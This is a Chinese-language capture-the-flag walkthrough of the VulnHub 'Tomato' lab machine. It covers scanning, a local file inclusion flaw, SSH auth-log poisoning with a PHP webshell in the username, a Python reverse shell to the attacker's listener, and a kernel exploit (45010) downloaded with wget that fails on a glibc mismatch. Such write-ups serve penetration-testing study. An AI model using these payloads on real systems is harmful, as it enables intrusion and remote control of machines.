vulnhub靶机:Tomato

目录

靶机导入

信息收集

[发现 IP](#发现 IP)

目录扫描

端口扫描

[访问 web](#访问 web)

漏洞利用

[方法1:报错连接拿 shell](#方法1:报错连接拿 shell)

[方法2: 使用python3进行反弹shell](#方法2: 使用python3进行反弹shell)

提权


靶机导入

tomato 下载地址:Tomato: 1 ~ VulnHub

信息收集

发现 IP

bash 复制代码
arp-scan -l

发现靶机 IP 是 192.168.109.148

攻击机 kali 的 IP 是 192.168.109.139

目录扫描

dirb http://192.168.109.148/

端口扫描

nmap -sC -sV -O 192.168.109.148

发现开放了 21、80、8888 端口

访问 web

访问扫目录扫出来的 antibot _image目录

http://192.168.109.148/antibot_image/

右击查看info.php的网页源码,发现存在文件包含漏洞

漏洞利用

在URL后面拼接?image=/etc/passwd (用image参数传入想要获取的文件路径)

?image=/etc/passwd

成功显示,说明存在文件包含漏洞

发现端口没有全部扫描出来,重新扫一下

-A:这个选项启用了"侵略性扫描",包括操作系统检测、版本检测、脚本扫描和跟踪路由等功能。侵略性扫描通常会提供更多的信息,但也可能引起目标系统的注意。

-p-:这个选项告诉 nmap 扫描目标系统上的所有可能的端口。扫描所有端口可能会耗费一定的时间,但可以全面了解目标系统上开放的哪些端口,以及哪些端口可能存在漏洞。

nmap -p- -A 192.168.109.148

扫描出来2211,是ssh的连接端口

方法1:报错连接拿 shell

kali 2024 版本的会报错,2023 版本的可以

我这里由于 kali 的版本不能使用此方法,就拿 centos7 操作了

ssh '<?php @eval($_POST[1]);?>'@192.168.109.148 -p 2211

然后在网页端查看ubuntu报错信息:/var/log/auth.log,/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。

?image=/var/log/auth.log

该目录下发现多了一些报错信息,大概率写入木马成功

用蚁剑连接试试

?image=/var/log/auth.log

成功拿到整个网站的目录信息

方法2: 使用python3进行反弹shell

写入一句话木马:

ssh '<?php echo system($_GET["aaa"]); ?>'@192.168.109.148 -p 2211

尝试通过 SSH 连接到 IP 地址为 "192.168.109.148" 的主机,使用用户名 '<?php echo system($_GET["aaa"]); ?>',并指定端口号为 2211。

这个用户名包含了 PHP 代码,具体来说,它尝试通过 PHP system 函数执行传递给它的参数,而参数来自于 URL 查询字符串中的aaa 参数。这可能是一个恶意操作,用于尝试在远程主机上执行恶意命令或代码。

拼接下面命令访问成功,说明一句话木马写入成功

?image=/var/log/auth.log&aaa=id

在kali打开监听端口:nc -lnvp 4444

nc -lnvp 4444

使用python3进行反弹shell,在浏览器中拼接下面命令进行访问

?image=/var/log/auth.log&aaa=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.133",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

kali监听到操作,成功获得靶机shell

使用下面命令生成可交互式的shell

python3 -c "import pty;pty.spawn('/bin/bash')"

提权

查看系统内核版本:

uname -a  

发现系统内核是:Linux ubuntu 4.4.0-21-generic

在kali中查找该系统内核的提权包:

searchsploit ubuntu 4.4.0-21  

尝试发现可以使用45010,下载该包

searchsploit -p 45010
cp /usr/share/exploitdb/exploits/linux/local/45010.c 45010.c
ls

此文件是.c文件,需要编译才能运行,最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,再在靶机上运行程序

gcc 45010.c -o exp
ls

开启http服务

python3 -m http.server 80  

到tmp目录下下载提权poc

cd /tmp
wget http://192.168.109.139/exp
ls
chmod +x exp

执行exp文件,如果执行成功则提权成功

./exp

但我这里失败了,报错提示运行的程序 ./exp 需要 GLIBC_2.34 版本的支持,但当前系统中的 glibc 版本低于 2.34 。

查看靶机的版本发现是 2.23

ldd --version

所以用此方法提权啊因为靶机的原因无法实施,就只能止步于此了

相关推荐
闲晨3 小时前
C++ 继承:代码传承的魔法棒,开启奇幻编程之旅
java·c语言·开发语言·c++·经验分享
_.Switch3 小时前
高级Python自动化运维:容器安全与网络策略的深度解析
运维·网络·python·安全·自动化·devops
JokerSZ.3 小时前
【基于LSM的ELF文件安全模块设计】参考
运维·网络·安全
SafePloy安策3 小时前
软件加密与授权管理:构建安全高效的软件使用体系
安全
芯盾时代4 小时前
数字身份发展趋势前瞻:身份韧性与安全
运维·安全·网络安全·密码学·信息与通信
幼儿园老大*4 小时前
Go的环境搭建以及GoLand安装教程
开发语言·经验分享·后端·golang·go
考试宝4 小时前
国家宠物美容师职业技能等级评价(高级)理论考试题
经验分享·笔记·职场和发展·学习方法·业界资讯·宠物
北京搜维尔科技有限公司6 小时前
搜维尔科技:【应用】Xsens在荷兰车辆管理局人体工程学评估中的应用
人工智能·安全
云起无垠7 小时前
技术分享 | 大语言模型赋能软件测试:开启智能软件安全新时代
人工智能·安全·语言模型